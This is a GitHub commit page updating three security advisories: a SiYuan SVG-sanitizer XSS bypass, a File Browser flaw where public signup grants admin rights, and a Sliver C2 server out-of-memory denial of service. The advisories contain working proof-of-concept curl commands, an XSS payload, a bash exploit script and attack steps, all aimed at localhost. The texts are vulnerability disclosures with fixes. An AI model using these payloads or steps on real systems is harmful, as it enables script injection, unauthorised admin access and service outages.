Skip to content

Commit 225f4ef

Browse files

File tree

5 files changed

+18
-10
lines changed

5 files changed

+18
-10
lines changed

advisories/github-reviewed/2026/03/GHSA-4mx9-3c2h-hwhg/GHSA-4mx9-3c2h-hwhg.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4mx9-3c2h-hwhg",
4-
"modified": "2026-03-17T14:08:12Z",
4+
"modified": "2026-03-18T21:44:17Z",
55
"published": "2026-03-17T14:08:11Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-32940"
8+
],
79
"summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)",
810
"details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- <a> element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/html,<script>alert(1)</script>\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a> (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:application/xml,...\"> (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n continue\n }\n}\n```\n\n`text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n safe := strings.HasPrefix(val, \"data:image/png\") ||\n strings.HasPrefix(val, \"data:image/jpeg\") ||\n strings.HasPrefix(val, \"data:image/gif\") ||\n strings.HasPrefix(val, \"data:image/webp\")\n if !safe {\n continue\n }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-5gg9-5g7w-hm73/GHSA-5gg9-5g7w-hm73.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5gg9-5g7w-hm73",
4-
"modified": "2026-03-16T20:44:20Z",
4+
"modified": "2026-03-18T21:42:55Z",
55
"published": "2026-03-16T20:44:20Z",
66
"aliases": [
77
"CVE-2026-32760"
88
],
99
"summary": "File Browser Signup Grants Admin When Default Permissions Include Admin",
10-
"details": "## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration (`signup = true`) is enabled and the default user permissions have `perm.admin = true`. The signup handler blindly applies all default settings - including `Perm.Admin` - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** `http/auth.go`\n\n**Vulnerable code:**\n```go\n// signupHandler (http/auth.go)\nuser := &users.User{\n Username: info.Username,\n}\nd.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults\n// NO guard: user.Perm.Admin is never cleared here\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n u.Perm = d.Perm // copies full Permissions struct, including Admin field\n ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n ...\n d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true\n ...\n})\n```\n\nThe `signupHandler` is supposed to create unprivileged accounts for new visitors. It contains no explicit `user.Perm.Admin = false` reset after `Defaults.Apply`. If an administrator (intentionally or accidentally) configures `defaults.perm.admin = true` and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\n# Pull latest release\ndocker run -d --name fb-test \\\n -p 8080:80 \\\n -v /tmp/fb-data:/srv \\\n filebrowser/filebrowser:v2.31.2\n\n# Wait for startup, then set defaults.perm.admin = true\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Enable signup and set admin as default permission\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"signup\": true,\n \"defaults\": {\n \"perm\": {\n \"admin\": true,\n \"execute\": true,\n \"create\": true,\n \"rename\": true,\n \"modify\": true,\n \"delete\": true,\n \"share\": true,\n \"download\": true\n }\n }\n }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_signup_admin.sh\n# Demonstrates: unauthenticated signup → admin account\n\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$TARGET/api/signup\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker's token successfully returns the full user list and\nserver settings - endpoints restricted to `Perm.Admin = true` users.\n\n## Impact\n\nAny unauthenticated visitor who can reach `POST /api/signup` obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if `enableExec = true`",
10+
"details": "## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** http/auth.go\n\n**Vulnerable code:**\n```go\nuser := &users.User{\n Username: info.Username,\n}\nd.settings.Defaults.Apply(user)\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n u.Perm = d.Perm\n ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n ...\n d.settings.Defaults = req.Defaults\n ...\n})\n```\n\nThe signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-test \\\n -p 8080:80 \\\n -v /tmp/fb-data:/srv \\\n filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"signup\": true,\n \"defaults\": {\n \"perm\": {\n \"admin\": true,\n \"execute\": true,\n \"create\": true,\n \"rename\": true,\n \"modify\": true,\n \"delete\": true,\n \"share\": true,\n \"download\": true\n }\n }\n }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$TARGET/api/signup\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.\n\n## Impact\n\nAny unauthenticated visitor who can reach POST /api/signup obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if enableExec = true",
1111
"severity": [
1212
{
1313
"type": "CVSS_V4",

advisories/github-reviewed/2026/03/GHSA-97vp-pwqj-46qc/GHSA-97vp-pwqj-46qc.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-97vp-pwqj-46qc",
4-
"modified": "2026-03-17T17:48:45Z",
4+
"modified": "2026-03-18T21:44:25Z",
55
"published": "2026-03-17T17:48:45Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-32941"
8+
],
79
"summary": "Sliver Vulnerable to Authenticated OOM via Memory Exhaustion in mTLS/WireGuard Transports",
810
"details": "# Summary\nA Remote OOM (Out-of-Memory) vulnerability exists in the Sliver C2 server's mTLS and WireGuard C2 transport layer. The `socketReadEnvelope` and `socketWGReadEnvelope` functions trust an attacker-controlled 4-byte length prefix to allocate memory, with `ServerMaxMessageSize` allowing single allocations of up to **~2 GiB**. A compromised implant or an attacker with valid credentials can exploit this by sending fabricated length prefixes over concurrent yamux streams (up to 128 per connection), forcing the server to attempt allocating **~256 GiB** of memory and triggering an OS OOM kill. This crashes the Sliver server, disrupts all active implant sessions, and may degrade or kill other processes sharing the same host. The same pattern also affects all implant-side readers, which have **no** upper-bound check at all.\n\n---\n# Root Cause Analysis\n\nThe C2 envelope framing protocol uses a 4-byte little-endian length prefix to delimit protobuf messages on the wire:\n\n```\n[raw_signature (74 bytes)] [uint32 length] [protobuf data]\n```\n\nIn [socketReadEnvelope](https://github.com/BishopFox/sliver/blob/master/server/c2/mtls.go#L337-L392), after reading the length prefix, the server immediately allocates a buffer of the attacker-specified size:\n\n```go\n// server/c2/mtls.go\nconst ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 // ~2 GiB\n\ndataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))\nif dataLength <= 0 || ServerMaxMessageSize < dataLength {\n return nil, errors.New(\"[pivot] invalid data length\")\n}\ndataBuf := make([]byte, dataLength) // ← Allocates up to ~2 GiB\n\n// ... data is read into buffer ...\n\n// Envelope signature verification happens AFTER allocation and read:\nif !ed25519.Verify(pubKey, dataBuf, signature) {\n return nil, errors.New(\"[mtls] invalid signature\")\n}\n```\n\n**Key issues:**\n\n1. **Excessive limit**: `ServerMaxMessageSize` is set to `(2 * 1024 * 1024 * 1024) - 1` ≈ **2 GiB**, far exceeding any legitimate protobuf envelope (large payloads like screenshots and downloads are chunked at the RPC layer).\n2. **Allocation before envelope verification**: While the TLS handshake validates the client certificate, the per-envelope ed25519 signature check (`ed25519.Verify`) occurs **after** the buffer allocation and `io.ReadFull`. Once the TLS connection is established, no further cryptographic proof is needed to trigger the allocation.\n3. **Yamux amplification**: The yamux session allows up to `mtlsYamuxMaxConcurrentStreams = 128` concurrent streams. Each stream processes `socketReadEnvelope` independently, so a single connection can trigger **128 parallel ~2 GiB allocations**.\n4. **Implant-side exposure**: The implant-side readers ([ReadEnvelope](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go#L184) in mTLS/WireGuard, [read()](https://github.com/BishopFox/sliver/blob/master/implant/sliver/pivots/pivots.go#L478) in pivots) have **no upper-bound check at all** — they accept any `dataLength > 0`.\n\nThe same pattern exists in [socketWGReadEnvelope](https://github.com/BishopFox/sliver/blob/master/server/c2/wireguard.go#L428-L487) for the WireGuard transport.\n\n\n_Note: The same unbounded allocation pattern is also present in implant-side readers, though it poses no immediate risk to the server [1](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/mtls/mtls.go#L185), [2](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/wireguard/wireguard.go#L178), [3](https://github.com/BishopFox/sliver/blob/master/implant/sliver/pivots/pivots.go), [4](https://github.com/BishopFox/sliver/blob/master/implant/sliver/transports/pivotclients/pivotclient.go)._\n\n\n---\n\n# Proof of Concept\nPoC Links: [mtls_poc.go](https://github.com/skoveit/Sliver-OOM-DoS-PoC/) or [Gist Version](https://gist.github.com/skoveit/08f3ec08ffbf3deeff189a83ef827dcf)\n1. **Establish mTLS connection**: Complete a valid TLS 1.3 handshake presenting a valid implant client certificate.\n2. **Negotiate yamux**: Send the `MUX/1` preface to enter multiplexed stream mode.\n3. **Open concurrent streams**: Open multiple yamux streams (up to 128).\n4. **Send malicious length prefix**: On each stream, send a 74-byte raw signature buffer followed by a 4-byte length prefix claiming `0x7FFFFFFF` (2,147,483,647 bytes ≈ 2 GiB). No actual data needs to follow.\n5. **Result**: Each stream triggers a `make([]byte, 0x7FFFFFFF)` allocation. With 128 concurrent streams, the server process attempts to allocate **up to ~256 GiB** of memory, causing the OS OOM killer to terminate the process.\n\n# Impact\n- **Server availability**: The Sliver server process is killed. Active implant sessions are disrupted until the operator manually restarts the server.\n- **Host degradation**: On hosts with swap enabled, the OOM event may cause swap thrashing and degrade other services sharing the same host before the process is killed.",
911
"severity": [

0 commit comments

Comments
 (0)